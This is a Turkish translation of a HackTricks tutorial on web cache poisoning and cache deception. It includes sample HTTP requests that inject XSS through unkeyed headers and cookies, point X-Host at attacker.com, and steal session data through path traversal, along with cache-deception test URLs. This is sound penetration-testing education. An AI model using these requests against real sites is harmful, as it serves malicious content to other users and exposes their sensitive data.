21 KiB
Önbellek Zehirlenmesi ve Önbellek Aldatmacası
AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm** takip edin.**
- Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek destek olun.
Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Fark
Web önbellek zehirlenmesi ile web önbellek aldatmacası arasındaki fark nedir?
- Web önbellek zehirlenmesinde, saldırgan uygulamayı önbelleğe bazı kötü amaçlı içerikler depolamaya zorlar ve bu içerik önbellekten diğer uygulama kullanıcılarına sunulur.
- Web önbellek aldatmacasında, saldırgan uygulamayı başka bir kullanıcıya ait hassas içerikleri önbelleğe depolamaya zorlar ve ardından bu içeriği önbellekten alır.
Önbellek Zehirlenmesi
Önbellek zehirlenmesi, istemci tarafı önbelleğini manipüle etmeyi amaçlayarak istemcileri beklenmeyen, kısmi veya saldırganın kontrolü altındaki kaynakları yüklemeye zorlar. Etki derecesi, kirletilmiş yanıtın yalnızca önbellek kirliliği döneminde sayfayı ziyaret eden kullanıcılara sunulması nedeniyle etkilenen sayfanın popülerliğine bağlıdır.
Önbellek zehirlenmesi saldırısının gerçekleştirilmesi birkaç adımı içerir:
- Anahtarsız Girişlerin Tanımlanması: Bu, önbelleğe alınması için gerekli olmasa da sunucu tarafından döndürülen yanıtı değiştirebilen parametrelerdir. Bu girişlerin tanımlanması, önbelleği manipüle etmek için sömürülebileceği için önemlidir.
- Anahtarsız Girişlerin Sömürülmesi: Anahtarsız girişleri tanımladıktan sonra, bir sonraki adım bu parametreleri nasıl kötüye kullanacağınızı belirlemektir, böylece saldırganın yararına sunucunun yanıtını değiştirebilir.
- Zehirli Yanıtın Önbelleğe Alınmasının Sağlanması: Son adım, manipüle edilmiş yanıtın önbelleğe alındığından emin olmaktır. Bu şekilde, önbelleğin zehirlendiği sırada etkilenen sayfaya erişen herhangi bir kullanıcı kirletilmiş yanıtı alacaktır.
Keşif: HTTP başlıklarını kontrol edin
Genellikle bir yanıtın önbelleğe alındığında buna işaret eden bir başlık olacaktır, bu başlıklara dikkat etmeniz gereken hangi başlıklar olduğunu bu yazıda kontrol edebilirsiniz: HTTP Önbellek başlıkları.
Keşif: Önbellek hata kodları
Eğer yanıtın önbelleğe alındığını düşünüyorsanız, kötü bir başlıkla istek göndermeyi deneyebilirsiniz, bu durumda bir durum kodu 400 ile yanıt verilmesi gerekmektedir. Daha sonra isteği normal olarak erişmeyi deneyin ve yanıtın 400 durum kodu olup olmadığını kontrol edin, eğer öyleyse zafiyetli olduğunu bilirsiniz (ve hatta bir DoS gerçekleştirebilirsiniz).
Daha fazla seçenek bulabilirsiniz:
{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}
Ancak bazen bu tür durum kodları önbelleğe alınmaz bu nedenle bu test güvenilir olmayabilir.
Keşif: Anahtarsız girişleri tanımlayın ve değerlendirin
Param Miner kullanarak sayfanın yanıtını değiştirebilecek parametreleri ve başlıkları brute-force yöntemiyle bulabilirsiniz. Örneğin, bir sayfa istemciye betiği oradan yüklemesi için X-Forwarded-For
başlığını kullanıyor olabilir:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Zararlı bir yanıtı arka uç sunucudan çıkarın
Belirlenen parametre/başlık ile kontrol edin, nasıl temizlendiğini ve nerede yansıtıldığını veya yanıtı nasıl etkilediğini kontrol edin. Herhangi bir şekilde kötüye kullanabilir misiniz (XSS gerçekleştirebilir veya sizin tarafınızdan kontrol edilen bir JS kodu yükleyebilir misiniz? DoS gerçekleştirebilir misiniz?...)
Yanıtı önbelleğe alın
Kötüye kullanılabilecek sayfayı belirledikten sonra, hangi parametre/başlık'ı kullanacağınızı ve nasıl kötüye kullanacağınızı belirledikten sonra, sayfayı önbelleğe almanız gerekmektedir. Önbelleğe alınmaya çalıştığınız kaynağa bağlı olarak, bu biraz zaman alabilir, birkaç saniye boyunca denemek zorunda kalabilirsiniz.
Yanıtta X-Cache
başlığı, isteğin önbelleğe alınmadığı durumlarda miss
değerine sahip olabileceği ve önbelleğe alındığında hit
değerine sahip olabileceği için çok yararlı olabilir.
Cache-Control
başlığı da kaynağın önbelleğe alınıp alınmadığını ve kaynağın bir sonraki sefer ne zaman tekrar önbelleğe alınacağını bilmek için ilginçtir: Cache-Control: public, max-age=1800
Başka bir ilginç başlık ise Vary
. Bu başlık genellikle önbellek anahtarı olarak kullanılmayan ek başlıkları belirtmek için kullanılır. Bu nedenle, saldırgan, hedeflediği kurbanın User-Agent
'ını biliyorsa, o belirli User-Agent
kullanan kullanıcılar için önbelleği zehirleyebilir.
Önbellekle ilgili bir başka başlık ise Age
. Bu, nesnenin proxy önbelleğinde kaç saniye boyunca olduğunu tanımlar.
Bir isteği önbelleğe alırken, kullandığınız başlıklara dikkat edin çünkü bunlardan bazıları beklenmedik şekilde anahtar olarak kullanılabilir ve kurbanın aynı başlığı kullanması gerekebilir. Her zaman farklı tarayıcılar kullanarak bir Önbellek Zehirlenmesini test edin ve çalışıp çalışmadığını kontrol edin.
Sömürü Örnekleri
En kolay örnek
X-Forwarded-For
gibi bir başlık, yanıtta temizlenmemiş olarak yansıtılmaktadır.
Temel bir XSS yükü gönderebilir ve önbelleği zehirleyebilirsiniz, böylece sayfaya erişen herkes XSS'e maruz kalacaktır:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Not: Bu, /en
yerine /en?region=uk
isteğini zehirleyecektir.
DoS için önbellek zehirlenmesi
{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}
Çerez işleme açıklarını sömürmek için web önbellek zehirlenmesi kullanma
Çerezler ayrıca bir sayfanın yanıtında yansıtılabilir. Örneğin bir XSS oluşturmak için bunu kötüye kullanabilirseniz, kötü niyetli önbellek yanıtını yükleyen birkaç istemci üzerinde XSS'i sömürebilirsiniz.
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Yol gezintisi ile önbellek yanıltması yaparak API anahtarını çalmak için yol gezintisi ile önbellek zehirlenmesi
Bu yazıda açıklandığı gibi, https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
gibi bir URL ile bir OpenAI API anahtarının çalınabilmesinin mümkün olduğu çünkü /share/*
ile eşleşen her şey, URL'yi normalize etmeden önbelleğe alınacaktır. Bu normalleştirme, istek web sunucusuna ulaştığında yapılmıştır.
Web önbellek zehirlenmesi açıklarını sömürmek için birden fazla başlık kullanma
Bazen bir önbelleği kötüye kullanabilmek için birkaç anahtarsız girişi sömürmeniz gerekebilir. Örneğin, X-Forwarded-Host
'u sizin kontrol ettiğiniz bir alan adına ve X-Forwarded-Scheme
'i http
olarak ayarlarsanız, bir Açık yönlendirme bulabilirsiniz. Eğer sunucu tüm HTTP isteklerini HTTPS'ye yönlendiriyorsa ve yönlendirme için alan adı olarak X-Forwarded-Scheme
başlığını kullanıyorsa, yönlendirmenin nereye yapıldığını kontrol edebilirsiniz.
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
Sınırlı Vary
başlığı ile Sömürme
Eğer yanıtta User-Agent
'ı işaret eden Vary
başlığı kullanıldığını fark ederseniz ve X-Host
başlığının bir JS kaynağını yüklemek için alan adı olarak kullanıldığını bulursanız, kurbanın User-Agent'ını dışa aktarmak ve bu kullanıcı ajanını kullanarak önbelleği zehirlemek için bir yol bulmanız gerekir:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
GET isteği, isteği URL'de ve gövdede göndererek gönderilir. Eğer web sunucusu gövdedeki parametreyi kullanıyorsa ancak önbellek sunucusu URL'deki parametreyi önbelleğe alıyorsa, o URL'ye erişen herkes aslında gövdedeki parametreyi kullanacaktır. Github web sitesinde bulunan James Kettle'ın keşfettiği zayıflık gibi.
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
Parametre Gizleme
Örneğin, ruby sunucularda parametreleri &
yerine ;
karakterini kullanarak ayırabilirsiniz. Bu, anahtarlı olmayan parametre değerlerini anahtarlı olanların içine yerleştirmek ve bunları kötüye kullanmak için kullanılabilir.
Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
HTTP İsteği Kaçırarak HTTP Önbellek Zehirlenmesini Kötüye Kullanma
HTTP İsteği Kaçırarak Web Önbellek Zehirlenmesi saldırılarını nasıl gerçekleştireceğiniz hakkında buradan bilgi edinin.
Web Önbellek Zehirlenmesi için Otomatik Test
Web Önbellek Zafiyet Tarayıcısı web önbellek zehirlenmesi için otomatik test yapmak için kullanılabilir. Birçok farklı teknikleri destekler ve yüksek derecede özelleştirilebilir.
Örnek kullanım: wcvs -u example.com
Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Zayıf Örnekler
Apache Traffic Server (CVE-2021-27577)
ATS, URL içindeki parçayı ayıklamadan iletmiş ve önbellek anahtarını yalnızca ana bilgisayar, yol ve sorgu kullanarak oluşturmuştur (parçayı yok sayarak). Bu nedenle, /#/../?r=javascript:alert(1)
isteği arka uca /#/../?r=javascript:alert(1)
olarak gönderilmiş ve önbellek anahtarı içinde yalnızca ana bilgisayar, yol ve sorgu bulunmuştur.
GitHub CP-DoS
İçerik türü başlığında kötü bir değer göndermek, önbelleğe alınmış bir 405 yanıtını tetiklemiştir. Önbellek anahtarı çerez içerdiği için yalnızca kimlik doğrulaması yapılmamış kullanıcılara saldırı yapmak mümkün olmuştur.
GitLab + GCP CP-DoS
GitLab, statik içeriği depolamak için GCP kovalarını kullanır. GCP Kovaları, x-http-method-override
başlığını destekler. Bu nedenle, x-http-method-override: HEAD
başlığını göndermek ve önbelleği boş bir yanıt gövdesi döndürmek mümkün olmuştur. Ayrıca PURGE
yöntemini de destekleyebilir.
Rack Ara Yazılımı (Ruby on Rails)
Ruby on Rails uygulamalarında genellikle Rack ara yazılımı kullanılır. Rack kodunun amacı, x-forwarded-scheme
başlığının değerini almak ve isteğin şeması olarak ayarlamaktır. x-forwarded-scheme: http
başlığı gönderildiğinde, aynı konuma yönlendirilen bir 301 yönlendirmesi gerçekleşir, bu da o kaynağa karşı bir Hizmet Reddi (DoS) oluşturabilir. Ayrıca, uygulama X-forwarded-host
başlığını kabul edebilir ve kullanıcıları belirtilen ana bilgisayara yönlendirebilir. Bu davranış, saldırganın sunucudan JavaScript dosyalarını yüklemesine neden olabilir ve güvenlik riski oluşturabilir.
403 ve Depolama Kovaları
Cloudflare önceden 403 yanıtlarını önbelleğe almıştır. Yanlış Yetkilendirme başlıkları ile S3 veya Azure Depolama Bloklarına erişmeye çalışmak, önbelleğe alınmış bir 403 yanıtına neden olmuştur. Cloudflare 403 yanıtlarını önbelleğe almaktan vazgeçmiş olsa da, bu davranış diğer proxy hizmetlerinde hala mevcut olabilir.
Anahtarlı Parametreler Enjekte Etme
Önbellekler genellikle özel GET parametrelerini önbellek anahtarında saklar. Örneğin, Fastly'nin Varnish'i isteklerde size
parametresini önbelleğe almıştır. Ancak, hatalı bir değerle birlikte URL kodlanmış bir parametre (örneğin, siz%65
) gönderildiğinde, önbellek anahtarı doğru size
parametresini kullanarak oluşturulur. Ancak, arka uç URL kodlanmış parametreyi işler. İkinci size
parametresini URL kodlamak, önbellek tarafından atlanmasına ancak arka uç tarafından kullanılmasına neden olmuştur. Bu parametreye 0 değeri atamak, önbelleğe alınabilir bir 400 Hatalı İstek hatası sonucunu doğurmuştur.
Kullanıcı Ajanı Kuralları
Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi yüksek trafikli araçların kullanıcı ajanlarıyla eşleşen istekleri engeller. İronik bir şekilde, bu yaklaşım önbellek zehirlenmesi ve Hizmet Reddi gibi güvenlik açıklarına neden olabilir.
Yasadışı Başlık Alanları
RFC7230, başlık adlarında kabul edilebilir karakterleri belirtir. Belirtilen tchar aralığının dışındaki karakterleri içeren başlıkların ideal olarak bir 400 Hatalı İstek yanıtı tetiklemesi gerekmektedir. Uygulamada sunucular her zaman bu standartlara uymazlar. Akamai gibi, cache-control
başlığı mevcut olmadığı sürece geçersiz karakterler içeren başlıkları iletir ve herhangi bir 400 hatasını önbelleğe alır. \
gibi geçersiz bir karakter içeren bir başlık göndermenin, önbelleğe alınabilir bir 400 Hatalı İstek hatası sonucunu doğurduğu bir açıklanabilir model belirlenmiştir.
Yeni başlıklar bulma
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Önbellek Aldatmacası
Önbellek Aldatmacasının amacı, istemcilerin duyarlı bilgileriyle birlikte önbelleğe alınacak kaynakları yüklemelerini sağlamaktır.
Öncelikle .css, .js, .png gibi uzantıların genellikle önbelleğe alınacak şekilde yapılandırıldığını unutmayın. Bu nedenle, www.example.com/profile.php/nonexistent.js
'ye erişirseniz, önbellek muhtemelen yanıtı saklayacaktır çünkü .js uzantısını görür. Ancak, uygulama www.example.com/profile.php/ içinde saklanan duyarlı kullanıcı içeriğiyle yeniden oynuyorsa, diğer kullanıcılardan bu içerikleri çalabilirsiniz.
Test edilecek diğer şeyler:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- .avif gibi daha az bilinen uzantıları kullanın
Bu yazıda çok açık bir örnek bulunabilir: https://hackerone.com/reports/593712.
Örnekte, http://www.example.com/home.php/non-existent.css gibi mevcut olmayan bir sayfa yüklerseniz, önceki erişen kullanıcıların duyarlı bilgileriyle http://www.example.com/home.php/ içeriği geri dönecek ve önbellek sunucusu sonucu kaydedecektir.
Ardından, saldırgan kendi tarayıcısında http://www.example.com/home.php/non-existent.css'e erişebilir ve önceki kullanıcıların gizli bilgilerini gözlemleyebilir.
Önbellek ajanının dosyaları içerik türüne göre değil, dosya uzantısına göre önbelleğe alacak şekilde yapılandırılması gerektiğini unutmayın (.css). Örnekte http://www.example.com/home.php/non-existent.css bir text/html
içerik türüne sahip olacak ve bir text/css
mime türü yerine (beklenen .css dosyası için) olacaktır.
Otomatik Araçlar
- toxicache: Belirli URL'lerde web önbellek zehirlenmesi açıklarını bulmak ve birden fazla enjeksiyon tekniğini test etmek için Golang tarayıcı.
Referanslar
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
Trickest'i kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen otomatik iş akışları oluşturun ve otomatikleştirin.
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARINI kontrol edin!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuzu
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter'da 🐦 @carlospolopm** takip edin.**
- Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.